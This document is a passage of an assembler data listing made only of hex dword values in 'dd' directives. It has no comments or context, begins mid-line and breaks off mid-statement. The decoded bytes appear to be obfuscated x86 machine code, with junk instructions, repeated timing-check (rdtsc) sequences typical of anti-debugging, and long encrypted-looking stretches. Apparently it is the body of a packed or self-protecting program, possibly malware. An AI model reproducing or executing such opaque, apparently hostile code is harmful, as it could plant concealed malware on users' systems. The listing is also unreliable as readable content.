1FAE961h, 83FC0000h dd 850F0DFBh, 7Eh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ch, 0ECC35040h, 0A07B4D3Dh, 0B8BBD635h, 9CD7BD8Dh dd 6A062Eh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h dd 51410000h, 63BB2FC3h, 9F3C2C19h, 0AE9C3h, 3CE10000h dd 3CC22FE2h, 1A0208D5h, 18FE9h, 17800F00h, 0E9000000h dd 12h, 0CFC3368Eh, 650019FFh, 196865F9h, 0A3EE8EBh, 0FB83915Ch dd 87850F01h, 0E9000000h, 0Ch, 0F1932ECDh, 604F5CA8h, 0E7A2D59Eh dd 9CDFBD8Dh, 6A062Eh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1A0424h, 53430000h, 0FB7BBEC3h, 8B6F52B4h, 0DE9h, 0D749EB00h dd 0C443050h, 6C68720Ah, 60F8F985h, 38C0Fh, 0BF0F0000h dd 0DE961F0h, 6A000001h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1A042444h, 46000000h, 0B873C356h, 6827BD04h dd 0BA6660CBh, 8B66E9FDh, 0FB8361FAh, 80850F2Ah, 0F000000h dd 1C80h, 0F28B6000h, 12E8h, 4EA00E00h, 65A4EAD4h, 7E14CD15h dd 281E1B76h, 5A459D31h, 0E7BD8D61h, 6A062E9Ch, 3E85000h dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h dd 0BF25C350h, 0F70890E7h, 8E9h, 0A867EE00h, 767663E2h dd 0BE9E3h, 52CB0000h, 0CA55E1ECh, 0B797E517h, 6EE9EDh dd 10E90000h, 0A0000000h, 526818B5h, 39E0373Bh, 9BAC4500h dd 83AB6F72h, 850F27FBh, 308h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ah, 30C35343h, 0C712F4A2h, 0F6017F9h dd 61FCCABFh, 4800Fh, 57600000h, 0DE9615Eh, 57000000h dd 217ABEEBh, 40AEDBA0h, 2F77F1C8h, 9CEFBD8Dh, 6660062Eh dd 613289B8h, 9CFFBD89h, 6A062Eh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 160424h, 51410000h, 46D054C3h, 0FC88C66h dd 780h, 1850F00h, 0F9000000h, 6A0324h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 140424h, 57470000h, 14E9B2C3h dd 0A4000000h, 5085ED38h, 362371BEh, 0F4033B0Eh, 0E394BE7Dh dd 0A931DB6h, 11850FC0h, 6A000002h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 86D7C351h dd 9C3E22CBh, 0F60D12Ch, 0C9BAC3BFh, 6151CB97h, 0A39DB58Dh dd 6A062Eh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h dd 53430000h, 2FD828C3h, 0B3481BF8h, 61F560D7h, 0A434858Bh dd 50F8062Eh, 52505250h, 310F5250h, 310F585Ah, 310F5250h dd 585A585Ah, 840F310Fh, 18h, 13E9h, 0AF682B00h, 0F8BE79h dd 5FA454CAh, 0FC23D702h, 0D3D87CFEh, 1489585Ah, 56006A24h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 139BBBC7h, 8B66609Eh, 48BE66F2h, 666061D7h, 4407EF81h dd 2800Fh, 0D08A0000h, 4C010F61h, 6AFE24h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 160424h, 52420000h, 4FC513C3h dd 52006A5Ah, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h dd 0C3524200h, 0F98B60FDh, 8E0F60h, 66000000h, 6161D68Bh dd 10880Fh, 0E9600000h, 6, 3779A661h, 0E6802EBEh, 0C28361C2h dd 51006A24h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h dd 0C3514100h, 0F6BFAEA0h, 0E040D678h, 800F60A8h, 2, 60615B51h dd 0FFBB360h, 81h, 0E9536100h, 13h, 0B6C5A840h, 4793E45Fh dd 0B6C70962h, 0C8248029h, 58BA0D85h, 72896661h, 50006AFCh dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 9A6AF3BEh, 10CEC1F9h, 4EB86660h, 61D78B27h, 2728966h dd 6E9h, 80859D00h, 0E906D960h, 0Bh, 5F3EB7D2h, 0B5B9AFCh dd 0CD981C6Bh, 16830F04h, 0E9000000h, 11h, 0DDDA6918h dd 0CBF7D619h, 9640FC2Dh, 7E8EA30h, 3BE998h, 820F0000h dd 0Ch, 6890Fh, 840F0000h, 0 dd 0A434858Bh, 8DF9062Eh, 2EA39DB5h, 858DFC06h, 62E5A35h dd 0DE9h, 9FAB5500h, 739390B8h, 0B662425Bh, 0D0FFCADEh dd 0F78589F5h, 0F8062E9Ch, 61FE8B60h, 51006A61h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 12E93FF8h, 0F5000000h, 2A877C5Bh, 0BFF7FA2Fh, 91CD4019h dd 28B5B065h, 0F7858B2Eh, 0F062E9Ch, 18Fh, 0F8C3F800h dd 7880Fh, 8C0F0000h, 1, 6A60F8h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1A0424h, 55450000h, 92364FC3h, 16753170h dd 0A434BD83h, 0F00062Eh, 5685h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1904h, 0C3514100h, 64964CF7h dd 10E95C6Eh, 24000000h, 9A350C25h, 72215CBAh, 6E588A4Dh dd 0C7523FC8h, 2EA43485h, 1013F06h, 10860F00h, 0F000000h dd 0A8Dh, 5E900h, 1D6C0000h, 0E90567C1h, 0Ah, 0DE805260h dd 0B70F5B83h, 20CD61D9h, 0 dd 3774C00Bh, 8B0C708Dh, 2E9CFFBDh, 8B906h, 75A60000h dd 0FA754922h, 8B30488Bh, 2E9CFB9Dh, 34583B06h, 0D38B157Fh dd 304D26Bh, 89018BCAh, 2E9CF785h, 8B04EB06h, 61C5EB00h dd 9CF7858Bh, 60CF062Eh, 61F88BF9h, 11E9h, 765CA100h, 293AE779h dd 44755BCh, 44DDE7E2h, 0C08B72DBh, 148E9h, 5000h, 5400h dd 5800h, 5C00h, 6000h, 6400h, 6800h, 6C00h, 0B000h, 0B400h dd 0B800h, 0BC00h, 0C000h, 0C400h, 0C800h, 0CC00h, 0D000h dd 0D400h, 0D800h, 0DC00h, 0E000h, 0E400h, 0E800h, 0EC00h dd 38h dup(0) dd 576BA500h, 0A050EB00h, 9D858D00h, 66062EA4h, 8EECB81h dd 0A5DD8589h, 8589062Eh, 62B2641h, 332D85C6h, 5754062Bh dd 0B8D683B9h, 43685B14h, 0E871192Bh, 11h, 2B7B8EF8h, 45CA1387h dd 472C0AAEh, 9AC935B5h, 66525026h, 310FF88Bh, 8A0Fh, 585A0000h dd 2404815Ah, 7D493CE6h, 28D5B531h, 0B5FF062Bh, 62B1BDDh dd 68C0Fh, 8D090000h, 62B0911h, 0C5BB6660h, 58D0FFBh, 66000000h dd 110DE781h, 0EB858D61h, 0E9062E83h, 0Ah, 32577986h, 79AC434Ch dd 0D0FFE60Dh, 85895B53h, 62EA5E1h, 8D9D8B50h, 59062B02h dd 78E9h, 0DE800h, 82F0000h, 0C3C8A27Ch, 7EC2D139h, 29E55114h dd 2B0841BDh, 8B565E06h, 2EA5DDB5h, 83068906h, 2EA5DD85h dd 0C35E0406h, 9DB58D60h, 0EB062EA4h, 6A560Fh, 95FF36FFh dd 62EA5E1h, 4C6835Eh, 75003E83h, 0FC361ECh, 1A80h, 0EE800h dd 8FF30000h, 86557596h, 0E4CF8259h, 7CB9B5C3h, 800Fh dd 0F5F0000h, 684h, 398D8B00h, 0B1062B02h, 0BC858DFEh dd 8B062EA6h, 2B2BA195h, 9D858906h, 0E8062B0Fh, 12h, 0D137B2C2h dd 10365DD0h, 45A9E23Eh, 0DC7A5BCBh, 0B58B1F93h, 62B10EDh dd 81FA8B5Ah, 687CC2h, 3E1CBF00h, 68601Ch, 0FC000000h dd 0EA3BE5Bh, 0C8B23BBh, 0FEBF0F1Ah, 0CF05C181h, 0B70F0122h dd 0EDF181F9h, 896E67C5h, 2B176D95h, 10F18106h, 8912BDF0h dd 2B192D9Dh, 830F5106h, 6, 28B1BD89h, 48F062Bh, 3245BE1Ah dd 858950E7h, 62B2E15h, 8102EB83h, 0BDABE3E6h, 0E94B4B4Eh dd 0Ah, 7CB2993Fh, 0B9F20C8Ch, 0FB8176B3h, 0FFFF9854h dd 1E850Fh, 9D890000h, 62B0B3Dh, 2FE9h, 0D5F23000h, 0B2BDF1EEh dd 0A94EEF18h, 35F07499h, 0C2760726h, 7B18529h, 6FE9062Bh dd 2AFFFFFFh, 0DB9C9BE6h, 1D2D126Ah, 5D26DB58h, 53225E3Ch dd 0ECE9h, 328BCE00h, 55C974Ah, 0A188838Ah, 0E0A1D76h dd 538FDD7Ah, 2F6D3733h, 773D557Dh, 7DD57F2Dh, 3D577DD7h dd 75DF6DF7h, 7DD773D5h, 0EDF73D57h, 5375D55Fh, 2F6D3733h dd 773D557Dh, 7DD57F2Dh, 1E577DD7h, 75DF6D17h, 60206020h dd 0E0E02020h, 68AC2060h, 0E4A9F77Bh, 0B2D020A1h, 0B7EDA693h dd 0F291B99Dh, 6020ACA3h, 60206020h, 0E0E02020h, 53752060h dd 2F0D0A33h, 6020557Dh, 60206020h, 362BA728h, 60C950F0h dd 0A1EFB6F3h, 0B4E0F796h, 92B8E3A7h, 0E9B3F471h, 60F76DB9h dd 60206020h, 20206020h, 1ADF6DF7h, 7DD77335h, 0EDF73D57h dd 5375D55Fh, 2F6D3733h, 773D557Dh, 7DD57F2Dh, 3D577DD7h dd 75DF6DF7h, 7DD773D5h, 0EDF73D57h, 5375D55Fh, 2F6D3733h dd 0A1E357Dh, 3407000Eh, 0A0A3D25Dh, 1E59h, 0 dd 0C8FE900h, 12680000h, 0E9062EABh, 0FFFCD6C4h, 2EABDE68h dd 0D6BAE906h, 0AD68FFFCh, 0E9062EACh, 0FFFCD6B0h, 2EAD6F68h dd 0D6A6E906h, 1168FFFCh, 0E9062EAEh, 0FFFCD69Ch, 2EAEC968h dd 0D692E906h, 4F68FFFCh, 0E9062EB0h, 0FFFCD688h, 2EB15268h dd 0D67EE906h, 3968FFFCh, 0E9062EB2h, 0FFFCD674h, 2EB2E868h dd 0D66AE906h, 0D868FFFCh, 0E9062EB3h, 0FFFCD660h, 444084D9h dd 9410342Bh, 27E3E57Bh, 73AF89C8h, 0BC784214h, 4D158E71h dd 0FA60BF7Bh, 0AEB3CCC8h, 47011E9Ah, 58F7A561h, 0C569A24Ch dd 7951D792h, 3F22C781h, 5B35F1DAh, 0AAC6252Dh, 6264FA41h dd 3955F189h, 5B6DF3AEh, 1C4EE00Ch, 1F0394EBh, 55301FEEh dd 70FA0613h, 594EB1Ch, 0C12F915h, 0EED8829Dh, 0BFF081Dh dd 0F8BADA7h, 0C282AE1Eh, 0F11F48E4h, 8AC657E8h, 0ED309B87h dd 36514D6Bh, 1DB3183Eh, 6D3E668Ch, 98C1DC73h, 0F23B47A4h dd 37317549h, 0FA7A9511h, 662FC1EFh, 3C226D3Eh, 7CF44BA0h dd 0EDEF9D89h, 13AF286Eh, 10F469B8h, 0FCDA9Ah, 0DFF97817h dd 1CBB720Ch, 776CB252h, 4DC0Ah, 0C781D400h, 0A2093F22h dd 54AB009Ch, 4FFE3A1Ch, 0D665F2FFh, 4BA0A4BBh, 47DAF637h dd 5E8AC6DEh, 57E5EBC0h, 1D6D3F3Eh, 0F9C397F2h, 7331730h dd 776BDB6Bh, 3113h, 1F6FBF00h, 727785D2h, 0D8AC6EAh, 8412BE0Dh dd 0CE6D3F2Ah, 4B275337h, 89776BC4h, 265CEEFAh, 0FA316D3Fh dd 87B19EF3h, 0DFC182Dh, 0CD78h, 12715A00h, 6CB37A4Ch dd 52F9D2F4h, 0C037B9C7h, 0D44A94EBh, 0B294CAD5h, 64420259h dd 97CDC887h, 0C5C45AB1h, 609CBABAh, 543D68F7h, 13A62E0Bh dd 8FC76977h, 0A4BA94EBh, 93AE6B65h, 3B3D94EBh, 1B76E11Dh dd 96A80345h, 8BB13B49h, 5AC494EBh, 32144C53h, 0D71C6CD9h dd 0AE6D7C88h, 1E008AC6h, 0D61B6BE2h, 31627B89h, 2535730Ch dd 28602FBAh, 0C51D26B0h, 0F0D48BE4h, 7B86071Bh, 0C621DDE7h dd 0EF04AE90h, 0EE505634h, 9C42A3Dh, 0CA930000h, 7EE502FEh dd 2F35524Eh, 0C3829D19h, 88CE29E5h, 480F7AB6h, 75B18BCFh dd 8A06401Ah, 0D4D0F46Dh, 639FB9BBh, 0E48692B9h, 9992C56Bh dd 0D981C79Bh, 5B1D78E7h, 1990AE7Dh, 2C0A4AA5h, 1F6FECF0h dd 727785D2h, 0D8AC6EAh, 8412BE0Dh, 0CE6D3F2Ah, 0C9FF6221h dd 81BB9FE2h, 0C7BBA465h, 0ECE17413h, 3F2A2EC0h, 0A33F236Dh dd 0C4036F6Ah, 9EBB776Bh, 0AC000000h, 775468F1h, 81A422EBh dd 0B70AE1C7h, 9E3299A3h, 94EBDC83h, 0B470560Eh, 0EC3F195Bh dd 27210F7Fh, 6E7AE501h, 75391943h, 566AEF32h, 4D49E575h dd 0D8076CDCh, 0DE5C2CCh, 0FC6BF773h, 1A2C3251h, 2160A9B1h dd 6C8B0739h, 53A2D0EAh, 3E505709h, 8F87AEDh, 0FE5F0000h dd 0AAB1CECAh, 5B011E9Ah, 174EA965h, 0C49AF531h, 4FB0682h dd 1FDC79Bh, 565274E6h, 0E01C2039h, 2FEBCD87h, 38B2DE6Dh dd 4D92C56Bh, 0D981F3D7h, 0D2C99C34h, 0ED355117h, 427B4DE6h dd 20DC7894h, 6FAB8DC7h, 0E1C7816Bh, 0ACB8470Ah, 94EBC002h dd 0BE873877h, 0B63685FDh, 0D48C931Ah, 891CF121h, 0C66297D9h dd 0BC8F62CAh, 0ACB8274Ch, 8AC6EE29h, 6B5D015Ch, 0B645D0CFh dd 0C40EFECBh, 7D1736Ch, 6D3EAA65h, 9870618h, 6A712641h dd 0F6023E8Eh, 6FE73574h, 6AF51109h, 0CA11D75Eh, 62F79271h dd 52CCAF5Eh, 777CCC79h, 853BDCE8h, 0D04E7E3Bh, 0FD501887h dd 3E21A7Eh, 4808878Ah, 1355B26Eh, 94788F35h, 0C211554Ah dd 8298Bh, 152F2C00h, 0E5DB7E99h, 0B48ACE29h, 241F78h dd 0CDF76B84h, 68F5A4D1h, 0B7D0CCF6h, 6619DA7h, 54B36F51h dd 1CFE3A1Ch, 6C4FE10Fh, 60292C5h, 4C127122h, 0F46CB37Ah dd 907B4D11h, 0A6E5728Eh, 891C8DB3h, 0D8076CDCh, 81335E4Dh dd 7C6EE3C9h, 0E7E6038Dh, 0F1698AC6h, 0AFC43435h, 91E81420h dd 0CE3D730Eh, 0BAA586E7h, 0A02F4B2Dh, 494563E5h, 0AB9DC3DEh dd 0B0CF3E40h, 3B0D55B0h, 0D9324ED0h, 88D71C6Ch, 86B89EFDh dd 0FC941525h, 797CD169h, 26B5223Ch, 74D3F56Bh, 6D0DDEE0h dd 0C5E365BCh, 90B6AEC9h, 0B5BA0A3Bh, 0E5931E2Ah, 0B3EE67BEh dd 2E309BADh, 90223CFFh, 5CB14999h, 6784CF1Ch, 0EE000007h dd 405F5B6Dh, 90EF2B1Dh, 0E13EFACCh, 2D4A4666h, 6A971335h dd 12342AB7h, 0E3E57996h, 0AD97C827h, 785E1671h, 2331DEBCh dd 92C56D89h, 716078FCh, 907B4D12h, 9AAAB18Eh, 5D92E213h dd 0D75967F2h, 0AA94EBC0h, 0EDDE777h, 3AD5D470h, 0DA789F2Eh dd 0FF68F68Ah, 0FEC82550h, 0B38AF982h, 18C2BA84h, 24E50113h dd 41BD9BDDh, 0DF082E26h, 163F38D0h, 32FBC722h, 0AE82F263h dd 341053B6h, 0DC2F4BD7h, 4F79E542h, 9998A433h, 0F473170Bh dd 3D8EAEA9h, 29457BDEh, 6334678Dh, 36E55057h, 6C51Fh dd 0F9CB9000h, 497FE23Dh, 182E324Dh, 0E4C0839Ch, 0B18BCF28h dd 0CC490875h, 1B74B08Ah, 6A850143h, 0B8D7D3F5h, 0B8629EB8h dd 6EEB8593h, 9A9E92C5h, 111F6FC6h, 89917A4Ah, 26D6E26Dh dd 138ADA77h, 0F2D9E374h, 7793B5AFh, 0FC6BF7B6h, 581A7A1h dd 34C6AEAh, 3E8D284h, 4EFF8E7Fh, 2B66F1FEh, 0A7BB1034h dd 48DDEB66h, 33730B2Fh, 0C1141344h, 3941AA9Ah, 0BEDA8F4Eh dd 25B2AC4Fh, 0CCC8EE66h, 4897B1B3h, 561DAFBDh, 0EE706749h dd 8FFF6C3Fh, 56A94351h, 42DC6749h, 7F2AB926h, 0F73977Bh dd 0C3CD3CE5h, 79647CD6h, 85A3A2F9h, 0B2E2DB69h, 0AC7F5686h dd 60DA5h, 31134800h, 81C79AF5h, 5076EA05h, 1C383B54h dd 0E9D387E0h, 8411C02Dh, 0D32CE8D2h, 227DB98Bh, 708F0B3Dh dd 0DAD6F0h, 6E53DDEBh, 222692C5h, 0E1C7810Eh, 9BBDB70Ah dd 1993A14Ch, 6C94EBC0h, 0FBCD95F2h, 239F0E10h, 4A95DA2Ah dd 0C01F91BFh, 2F7294EBh, 0ABB71428h, 65739E0Fh, 8AC6DEDCh dd 0D0EA6CB3h, 42DEE277h, 0DFE17615h, 4D15720Ch, 6CE3B27Bh dd 52C92A31h, 0B0241883h, 0EDCAB5D1h, 0D10AB72Fh, 0C06E62ABh dd 8A6D3F73h, 0A3C1E7Dh, 0B813352Dh, 0AFE67A6h, 6B9092DCh dd 514A77h, 6F940000h, 0C043011Fh, 5CEBEF1Fh, 0FC0897C0h dd 94EBD572h, 6C2C1B07h, 7527E2F8h, 0C1837F6h, 8AC6A2E5h dd 0A7258698h, 6D3EF119h, 0B0DEA253h, 776C0AB6h, 0BADF6914h dd 0FD0655E3h, 3E315DEFh, 922E306Dh, 31B53745h, 56C86D3Eh dd 0E0C257h, 810C0000h, 1B76E1C7h, 0F98C7D47h, 37B9C752h dd 4A94EBC0h, 94CAD5D4h, 97F259B2h, 0F00FFEC2h, 0D6755670h dd 68A1A3BBh, 0A7BA5F19h, 98344AA1h, 0DC97721Ch, 0B7D294EBh dd 2E309BBDh, 86A0A0FFh, 4D6BED0Ah, 0EFD18702h, 8EFE6F3Eh dd 0D7EAF661h, 0C2753970h, 5CAF91C7h, 3628CBC2h, 0EE0373FAh dd 24C6D261h, 596D3F07h, 3B49C8C1h, 730DC7C9h, 0B6D5021Ch dd 2D4D9EA0h, 203655FCh, 61C2C1CDh, 6A869495h, 0F40951AEh dd 0B63C5862h, 50566199h, 8758F320h, 0CE000004h, 207FBB8Dh dd 708F0B3Dh, 0C1DEDAECh, 0D6AA686h, 4AB77355h, 72540A97h dd 0C30559B6h, 8DB7A8C7h, 587EF611h, 4351FE5Ch, 92C570A9h dd 818058DCh, 3C2BE7D9h, 5009FA61h, 0C6D9D06Ch, 0E36CA88Eh dd 0C0A64854h, 47DB94EBh, 1F6F4046h, 201685D2h, 7082290h dd 6AF91891h, 0B6152F2Fh, 0F3DC337Bh, 0DE7ACDD1h, 0DD88A12Fh dd 5BC78AC6h, 0FAEDD70h, 143C2D7Ch, 2EBCD4D5h, 0DF6D3E6Fh dd 18674478h, 0F9AD7E58h, 21F57C40h, 74FE2C10h, 28776C88h dd 0A7h dd 0E1C781AAh, 99A3B70Ah, 0DC839E32h, 560E94EBh, 195BB470h dd 0F7FEC3Fh, 0D7BB7B31h, 0ABC7E15Eh, 72F2913Ch, 8CEB7754h dd 953BF2D4h, 75390F8Ch, 0A695008Fh, 109683D3h, 88041A99h dd 933C3181h, 8F5C66F4h, 9173AF3h, 730D4AFCh, 45408F93h dd 5274E81Dh, 0C7AB3279h, 5648E589h, 5629E3Ah, 0F8D96B5Dh dd 6D5057ADh, 38497BEh, 8AD30000h, 3E2542BEh, 0EF75920Eh dd 83C2DDD9h, 480E69A5h, 884FBA76h, 0B5714B0Fh, 0CAC6005Ah dd 1490B4ADh, 0A35F79FBh, 0A44652F9h, 0D992C571h, 0D981875Bh dd 94CC2BE7h, 816276B2h, 0EB76E1C7h, 0C0BE305Ch, 4FD394EBh dd 0EBC0EF81h, 672F6294h, 0BF7EE78Dh, 0D3A26B87h, 36F2D48Ch dd 9AEA6116h, 17243D86h, 0B3FCA81Fh, 0D48CA7C6h, 72DD7910h dd 0C64DEF66h, 517F0A8Ah, 6D3E4DDFh, 1523ACB2h, 6D3E4D9Bh dd 0FAB970EEh, 0F1BCAB64h, 386AC2A8h, 0C8C8C166h, 0D1041482h dd 0E7707DCDh, 1FC82D58h, 0DE236FA2h, 0E90A12Fh, 63FFDF59h dd 66BDB88h, 0A4F4AD9h, 1A45D536h, 9F0F7C0Eh, 800911DBh dd 0AE9317F0h, 0BB243AC5h, 0E8D7612Ch, 1D14009Bh, 36D395ECh dd 0ACB2193Fh, 0F97B9410h, 7E8E55DFh, 3CEFFAB7h, 29D15h dd 0A1A3B800h, 71570A65h, 0C0065AB5h, 8CA8ABC4h, 5963F710h dd 0F461505Dh, 435C5862h, 92ED291Bh, 0E03FFBCDh, 904A4660h dd 72C36D7Bh, 0B2B692C5h, 22C7819Eh, 19F20E38h, 4897DC2Ch dd 0C01DAFBDh, 0EE7094EBh, 1104103Fh, 348AC6F4h, 9F5EEE2Ah dd 0C8175CACh, 0C1E75E3Dh, 0C7EB54EAh, 1182A741h, 5FF69A13h dd 0F6731266h, 9721AF68h, 88A2D006h, 80AC3B38h, 0BDDDAC95h dd 1845A6B8h, 0EDD788A8h, 19FA0651h, 2CBA2A70h, 6EE6A532h dd 1FECC88Bh, 1D78E703h, 3C8DD441h, 840017A3h, 0EFF8368h dd 1B3D3750h, 3C79DCE9h, 53FA2919h, 1EEh, 0D4D0F469h, 64A0A4BBh dd 0B773550Bh, 0C33F1958h, 0C88B2A4h, 0BDA53EE1h, 6AF00F8Bh dd 1E435C58h, 0D791EE2Ah, 0C86735F1h, 0C57232BCh, 0E9C14792h dd 0AE1C781h, 2F094847h, 0DA4B42DCh, 0BFDA056Ah, 0EB66A799h dd 2418415Ch, 0D832EBE5h, 0D5458AC6h, 81434ED9h, 0FB5059AFh dd 0DFEA2EF2h, 98AD6D90h, 0D421C111h, 35C00F64h, 0D31C1146h dd 4C2BA282h, 4AD43709h, 0D3884D43h, 0A3BF7312h, 1F167864h dd 4847AE37h, 47DB3012h, 0CB65D546h, 0C817B395h, 54B791CDh dd 0A14CC3CAh, 0FF640612h, 119AE5Dh, 0DB1D0888h, 0ED30B070h dd 0E47A5177h, 0E3C36D7Bh, 0A8B6A060h, 3E8EBF0Ch, 799AA631h dd 8CBE517Fh, 0D4370951h, 0E2A12E4Ah, 8C1B4462h, 0B75FCE60h dd 85390FBAh, 78C89719h, 0B06E9F83h, 65F81D57h, 5AF68863h dd 0A1312728h, 9ACD1E15h, 0FEh, 0C4C00459h, 1490B4ABh dd 0A76365FBh, 0F32F0948h, 3CF8C294h, 0CD950EF1h, 7AE03FFBh dd 2E334C48h, 0C7819E1Ah, 0D87725E1h, 0C57322CCh, 0F9D15792h dd 0AE1C781h, 5B84E959h, 0C6EE744Dh, 1B978B8Ah, 36CB910Ch dd 0B3CF1C22h, 1F393817h, 0D30D7DEEh, 3F2E2BC5h, 8426326Dh dd 0F96D3F2Eh, 5B849A61h, 3F2EA34Dh, 2C48D66Dh, 960C95A3h dd 2C63730Eh, 517F3EE1h, 674DC6DFh, 9C3ACB2h, 69F61263h dd 64BC063Ah, 0B178FAA5h, 2E306FE2h, 0CCABB714h, 0C658B395h dd 9EB8B8C7h, 65430562h, 64484A86h, 0DE573351h, 5934EAh dd 6DD855EFh, 254144B8h, 3EDB9DE4h, 418E2A1Ch, 0E0291F42h dd 4563E502h, 7C581B66h, 8478FDAFh, 9410362Eh, 0CDFF97Bh dd 2945h, 6C2BB600h, 6709D7E9h, 1A3361F8h, 23CDDB04h, 563361F8h dd 5EC5C1C8h, 0BE082F1h, 6199CBAh, 0EB8370FAh, 0F9150594h dd 0DC818A30h, 84BC03E8h, 6DF249A2h, 312D705Bh, 0F169B417h dd 0B9A1FCCFh, 9ED92487h, 4A0E6DBEh, 15489774h, 5308D833h dd 0C381E389h, 4, 5304EB83h, 42474FFh, 24048F5Bh, 5514685Ch dd 34890000h, 0E6895624h, 4C681h, 0EE810000h, 4, 5C243487h dd 50241C89h, 2F57D268h, 0FE355804h, 5526C463h, 8671E1BDh dd 5DE8210Fh, 79390548h, 0C68903ACh, 1C8B5458h, 4C48324h dd 55F08950h, 6B89C589h, 0FF585D08h, 815B2434h, 4C4h, 2434FF00h dd 4C4815Eh, 0E9000000h, 0FFFCCA40h, 0B4FBB89Ah, 0C503062Eh dd 86AEE0FFh, 49CA1AC9h, 45121B8Ch, 624D41F8h, 0AAAA25FAh dd 0FB0C0E55h, 0ED304E9Ch, 8940727Ah, 39EB5CEEh, 0C00000h dd 0C002CCh, 0C002E4h, 0 dd 4403AA8Eh, 751AA63Ah, 210BAED7h, 4C00AA28h, 4D0AEDC2h dd 7520C3BBh, 21228FAFh, 5121B7BBh, 493AAD9Fh, 450FA60Fh dd 2104A3BEh, 216D2B08h, 7E4EC3AFh, 5DE79C14h, 65EFC7CFh dd 2178C7D1h, 7629C3FAh, 0B85A9ABEh, 248B4637h, 0E1E5C574h dd 3D3F5F16h, 0D8D340F5h, 2168E8EAh, 9CEDCA80h, 2745D573h dd 7177B77Dh, 99AE48EDh, 216EC7E6h, 3AEF4626h, 0BCE3C5FCh dd 27437C9Eh, 7935100Ah, 37E77E79h, 556EC556h, 993D93A9h dd 216EC7E6h, 3AEF4626h, 0BCE3C5FCh, 27437F8Fh, 7935100Ah dd 0C93BC390h, 216EC37Eh, 7CAD9E9Eh, 254AAFD6h, 254A872Eh dd 216EC3C2h, 9DAD96AEh, 0B4DB485Ch, 0AA68E8F0h, 706EA9BDh dd 216EC056h, 0E237E35Fh, 5224AF6h, 52A42D3h, 216EDEEFh dd 0E23F82F5h, 0D3C2E542h, 795FBE64h, 0AE613301h, 216EC35Ch dd 0E727112Fh, 0A5DEE52h, 210495EDh, 216D2BA5h, 794EC3FAh dd 65E79BBEh, 65EFC79Ah, 217BC77Bh, 712EC3AFh, 49BC2814h dd 0C07B50B1h, 36257993h, 294AF77Bh, 4B137E56h, 228691BEh dd 16EC35Fh, 0A83400F5h, 0A06AE783h, 356AE7AFh, 636EC3F5h dd 2E9000A8h, 216ECEFEh, 21662ABEh, 3514C35Fh, 0F66B2692h dd 9491912Bh, 2745D836h, 370F767Eh, 0A4E3C5D1h, 27404096h dd 0C939C3D4h, 216EC35Ch, 7EAD9C8Fh, 254ABF5Eh, 254A876Ah dd 216EC3E9h, 0A8AD94BDh, 0DD3A012Ah, 81CC6787h, 0F19186EEh dd 216EC646h, 29395CD7h, 2504BDDFh, 0C938C39Fh, 216EC3F9h dd 7FAD9D5Dh, 254AB737h, 254A87DEh, 216EC3B7h, 0AAD9591h dd 0BA6015E5h, 8097079Dh, 0EAE5A516h, 1D4AC7FCh, 0A7D9DA8h dd 0A7562E2h, 8DBEAA9h, 4968E8DDh, 27B86597h, 216ED21Dh dd 63C8ABFAh, 6C081182h, 0FD591408h, 0CD4F4D21h, 0AA08E371h dd 15EF9D1Fh, 0F7CA53CFh, 776EA9F3h, 216EC012h, 0E230E37Dh dd 51A4AE0h, 52A425Bh, 216EDAABh, 0E23885D7h, 108CC31h dd 2B87ABD1h, 576EC3FAh, 807A8D9Dh, 52DC053Ah, 2E6EA9B7h dd 0F1911218h, 0DAD77CB1h, 94CA4662h, 2104C5DBh, 216D2BA9h dd 7A4EC37Dh, 7DE7987Dh, 65EFC77Bh, 217AC78Bh, 722DC3D7h dd 0A0087228h, 0AAC5B03Ch, 23A2C602h, 0A4E7C37Dh, 27407616h dd 0A87603DCh, 0FDB6F2Ah, 98AEF0D1h, 216EC107h, 21046906h dd 216D2BAAh, 794EC37Dh, 65E79B7Dh, 65EFC77Bh, 217BC78Bh dd 712EC3D7h, 0A8416628h, 0A5B9270h, 766EA9FCh, 216EC095h dd 0E231E3BEh, 5124A00h, 52A42ABh, 216ED5D3h, 0E23984EBh dd 0A8E151FAh, 0A41F677h, 0CEB057Bh, 6268E88Dh, 55776D6h dd 2586C584h, 7F6EC3D7h, 47F2A480h, 7194074Ah, 216EC813h dd 7F0A457Dh, 8BA86F64h, 4433FA68h, 254A8724h, 216ED73Fh dd 0B53165EBh, 0B04A64E7h, 87AC2A84h, 91F36939h, 0F3B00D23h dd 7FA04810h, 0CDE4C324h, 254A875Eh, 4B363060h, 228691F5h dd 16EC3FAh, 0A8340027h, 0A06AE7EAh, 3C6AE71Bh, 636EC3AFh dd 0DCCE0085h, 8D2CF62Fh, 6D59847Bh, 0AB7D317Bh, 9491BDE4h dd 2745D863h, 0C746D6h, 0A4E3C584h, 2740403Ch, 0C93FC381h dd 216EC3F6h, 78AD9ADAh, 254A8FF4h, 254A873Fh, 216EC348h dd 3DAD92EEh, 20353151h, 0A466E6Eh, 4BBE3CF3h, 228694FAh dd 16EC37Dh, 0A83100E1h, 0A06AE723h, 386AE7EBh, 666EC3D7h dd 0A23700BCh, 77CAEE76h, 216ED312h, 43E4AC7Dh, 1F4EC350h dd 5C87E0ADh, 0FD1E846Eh, 0CDBEAF6h, 7E68E8F5h, 28B7467Ch dd 2104C5D1h, 216D2B2Ah, 7E4EC3BEh, 5DE79C9Ch, 65EFC78Bh dd 2173C7F3h, 7629C3EBh, 0F47F7C36h, 495A2171h, 0AC470D93h dd 